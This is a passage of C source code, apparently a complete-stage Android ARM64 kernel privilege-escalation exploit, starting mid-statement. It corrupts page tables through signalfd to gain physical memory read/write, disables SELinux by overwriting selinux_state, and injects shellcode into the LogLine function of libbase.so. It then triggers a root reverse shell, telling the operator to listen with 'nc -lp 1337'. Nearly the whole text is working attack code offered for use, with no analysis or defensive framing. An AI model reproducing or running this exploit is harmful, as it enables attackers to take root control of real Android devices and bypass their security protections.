buffer to manage tlb"); /* buffer to manage tlb */ full_tlb = mmap((void *) NULL, TLB * 0x1000, PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (full_tlb == MAP_FAILED) { printf("[-] couldn't mmap: %d", errno); exit(0); } puts("[+] looking for page table and phys pte"); int32_t found = 0; leak = (leak + 0x1000) | 0x40100; mask.sig[0] = ~leak; // | 0x40100 signalfd(fd_cross[fd_idx], &mask, 0); /* replace tlb cache */ replace_tlb(); /* locate buffer */ char *evil = NULL; for (int i = 0; i < NUM_TABLE; i++) { for (int j = 0; j < NUM_PTE; j++) { if (*(uint64_t *) map[i][j] != ((i * 0x200) + j)) { found = 1; evil = map[i][j]; printf("[+] found distinct page at virtual 0x%lx\n", (uint64_t) evil); break; } } if (found) break; } if (!found) { puts("[-] Exploit failed :("); exit(0); } /* replace tlb cache */ replace_tlb(); uint64_t end; if ((leak & 0xfffffff43) >= 0x880000f43) { end = 0x980000f43; } else { end = 0x100000f43; } puts("[!] be patient now, looking for page table"); uint64_t *dump = (uint64_t *) evil; table_1: /* locate page table */ found = 0; uint64_t pte = 0; while (!found && (((leak | 0x40100) & 0xfffffff43) < end)) { /* replace tlb cache */ replace_tlb(); if ((dump[0] && ((dump[0] & ((uint64_t) 0xffff << (12 * 4))) == ((uint64_t) 0xe8 << (12 * 4))) && ((dump[0] & 0xfff) == 0xf43)) && (dump[1] && ((dump[1] & ((uint64_t) 0xffff << (12 * 4))) == ((uint64_t) 0xe8 << (12 * 4))) && ((dump[1] & 0xfff) == 0xf43))) { if ((dump[1] - dump[0]) == 0x1000) { pte = dump[0]; printf("[+] found page table at phys 0x%016lx and phys valid buffer pte 0x%016lx\n", leak, (uint64_t) pte); found = 1; break; } } /* replace tlb cache */ replace_tlb(); leak = (leak + 0x1000) | 0x40100; mask.sig[0] = ~leak; // | 0x40100 signalfd(fd_cross[fd_idx], &mask, 0); } if (!found) { puts("[-] Exploit failed :("); exit(0); } /* replace tlb cache */ replace_tlb(); puts("[+] looking for victim to migrate"); *(uint64_t *) evil = pte + 0x1000; /* replace tlb cache */ replace_tlb(); /* locate buffer to migrate and * manage page table to phys r/w */ found = 0; for (uint32_t i = 0; i < TLB; i++) { if (full_tlb[i * 512] != i && full_tlb[(i * 512) + 1] != i) { printf("[+] found victim to migrate at virtual buffer full_tlb 0x%lx\n", (uint64_t) (full_tlb + i * 512)); victim = (char *) (full_tlb + i * 512); found = 1; break; } } if (!found) { *(uint64_t *) evil = pte - 0x1000; puts("[*] fail * looking for another page table, continue being patient"); goto table_1; } /* replace tlb cache */ replace_tlb(); pmd[0] = (uint64_t) evil & ~0x1fffff; pmd[1] = (uint64_t) victim & ~0x1fffff; puts("[+] page table self pointer"); *(uint64_t *) evil = leak; puts("[+] munmap evil"); munmap(evil, 4096); /* replace tlb cache */ replace_tlb(); puts("[+] looking for victim page"); offset_pgt = 8; *(uint64_t *) (victim + offset_pgt) = pte; /* replace tlb cache */ replace_tlb(); /* locate buffer to manage phys r/w */ found = 0; page = NULL; for (uint32_t i = 0; i < TLB; i++) { if ((char *) (full_tlb + i * 512) == victim) continue; if (full_tlb[i * 512] != i && full_tlb[(i * 512) + 1] != i) { printf("[+] found victim page at virtual buffer full_tlb 0x%lx\n", (uint64_t) (full_tlb + i * 512)); page = (char *) (full_tlb + i * 512); found = 1; break; } } if (!found) { puts("[-] Exploit failed :("); exit(0); } /* replace tlb cache */ replace_tlb(); pmd[2] = (uint64_t) page & ~0x1fffff; puts("[+] looking for kernel phys"); /* search kernel phys base */ found = 0; uint32_t phys_base; for (uint64_t j = 0; j < 0x1000; j++) { /* replace tlb cache */ replace_tlb(); *(uint64_t *) (victim + offset_pgt) = (j * (1 << (3 * 4))) | MEMSTART | 0xe8000000000f43; /* replace tlb cache */ replace_tlb(); uint32_t magic = *(uint32_t *) (page + 0x38); if (magic == LINUX_ARM64_IMAGE_MAGIC) { phys_base = (j * (1 << (3 * 4))) | MEMSTART; printf("[+] kernel phys base at 0x%x\n", phys_base); found = 1; break; } } if (!found) { puts("[-] Exploit failed :("); exit(0); } /* replace tlb cache */ replace_tlb(); uint32_t phys_data = phys_base + KERNEL_DATA; uint32_t phys_off = phys_base & 0xffffff; uint64_t virt_kernel_base = VIRTUAL_KERNEL_START + phys_off; uint64_t init_task = virt_kernel_base + KERNEL_DATA + INIT_TASK + OFF_INIT_TASK; uint64_t selinux_state = virt_kernel_base + KERNEL_DATA + SELINUX_STATE + OFF_SELINUX_STATE; printf("[+] kernel phys offset 0x%x\n", phys_off); printf("[+] kernel phys data at 0x%x\n", phys_data); printf("[+] kernel virtual selinux_state at 0x%016lx\n", selinux_state); printf("[+] kernel virtual init_task at 0x%016lx\n", init_task); printf("[+] kernel virtual base at 0x%016lx\n", virt_kernel_base); puts("[+] go with selinux bypass"); /* disable selinux */ write16(selinux_state, 0); puts("[+] selinux enforcing patched"); /* open libbase.so */ int fd_libbase = open("/system/lib64/libbase.so", O_RDONLY); /* for getting info */ struct stat st; fstat(fd_libbase, &st); /* mmap libbase.so for injecting code */ char *libbase = mmap((void *) NULL, st.st_size, PROT_READ, MAP_SHARED|MAP_POPULATE, fd_libbase, 0); if (libbase == MAP_FAILED) { printf("[-] couldn't mmap: %d", errno); exit(0); } printf("[+] libbase.so mapped at 0x%lx\n", (uint64_t) libbase); pmd[3] = (uint64_t) libbase & ~0x1fffff; /* search logline function */ char *off = memmem(libbase, st.st_size, logline, 576); if (!off) { puts("[-] Exploit failed :("); exit(0); } printf("[+] LogLine found at 0x%lx\n", (uint64_t) off); /* replace tlb cache */ replace_tlb(); puts("[+] looking for process"); char comm[16]; uint64_t task = 0; uint64_t ptask = init_task; /* search current task */ while (task != init_task) { /* replace tlb cache */ replace_tlb(); task = read64(ptask + OFFSET_TASKS) - OFFSET_TASKS; *(uint64_t *)(comm) = read64(task + OFFSET_COMM); *(uint64_t *)(comm + 8) = read64(task + OFFSET_COMM + 8); printf("%016lx -> %s\n", task, comm); if (!strncmp(comm, "exp1337", 7)) { break; } /* int pid = read64(task + OFFSET_PID); if (pid == getpid()) break; */ ptask = task; } puts("[+] found current process"); /* search file table to stabilize */ uint64_t files = read64(task + OFFSET_FILES); uint64_t fdt = read64(files + OFFSET_FDT); uint64_t fd_array = read64(fdt + OFFSET_FD); printf("[+] current->files->fdt->fd 0x%016lx\n", fd_array); /* mmu walk */ uint64_t mm = read64(task + OFFSET_MM); uint64_t pgd = read64(mm + OFFSET_PGD); printf("[+] current->mm 0x%016lx\n", mm); printf("[+] current->mm->pgd 0x%lx\n", pgd); uint32_t offset_logline = (uint64_t) off & 0xfff; uint64_t offset_pte = get_directory((uint64_t) off >> (12 + 9 * 0)); uint64_t offset_pmd = get_directory((uint64_t) off >> (12 + 9 * 1)); uint64_t offset_pud = get_directory((uint64_t) off >> (12 + 9 * 2)); printf("[+] offset_logline 0x%x\n", offset_logline); printf("[+] offset_pud 0x%lx\n", offset_pud); printf("[+] offset_pmd 0x%lx\n", offset_pmd); printf("[+] offset_pte 0x%lx\n", offset_pte); uint64_t pud = read64(pgd + offset_pud * 8); printf("[+] pud 0x%lx\n", pud); uint64_t pmd = read64(phys_to_virt(((pud >> 12) << 12) & 0xffffffffff, true) + offset_pmd * 8); printf("[+] pmd 0x%lx\n", pmd); uint64_t pte_logline = read64(phys_to_virt(((pmd >> 12) << 12) & 0xffffffffff, true) + offset_pte * 8); printf("[+] pte_logline 0x%lx\n", pte_logline); /* replace tlb cache */ replace_tlb(); /* set the pte with permissions to inject code */ *(uint64_t *) (victim + offset_pgt) = (((pte_logline >> 12) << 12) & 0xffffffffff) | 0xe8000000000f43; /* replace tlb cache */ replace_tlb(); /* inject code */ memcpy(page + offset_logline, shellcode, 287); puts("[+] shellcode injected into LogLine"); puts("[+] execute nc -lp 1337 and press key here"); getc(stdin); puts("[+] trigger lpe"); int pid = fork(); if (!pid) { sleep(1); exit(139); } kill(pid, SIGSEGV); puts("[+] look at root reverse shell :)"); sleep(2); /* replace tlb cache */ replace_tlb(); /* set the pte with permissions to restaure code */ *(uint64_t *) (victim + offset_pgt) = (((pte_logline >> 12) << 12) & 0xffffffffff) | 0xe8000000000f43; /* replace tlb cache */ replace_tlb(); /* restaure code */ memcpy(page + offset_logline, logline, 287); puts("[+] LogLine function restaured"); puts("[+] clean up"); /* clean up signalfd */ write64(fd_array + fd_cross[fd_idx] * 8, 0); /* restaure ptes */ *(uint64_t *) victim = 0UL; *(uint64_t *) (victim + offset_pgt) = 0UL; /* clean up */ munmap(full_tlb, TLB * 0x1000); /* clean up */ for (uint32_t i = 0; i < NUM_TABLE; i++) { for (uint32_t j = 0; j < NUM_PTE; j++) { if (map[i][j] == evil) continue; munmap(map[i][j], 0x1000); } } puts("[+] finish"); exit(0); }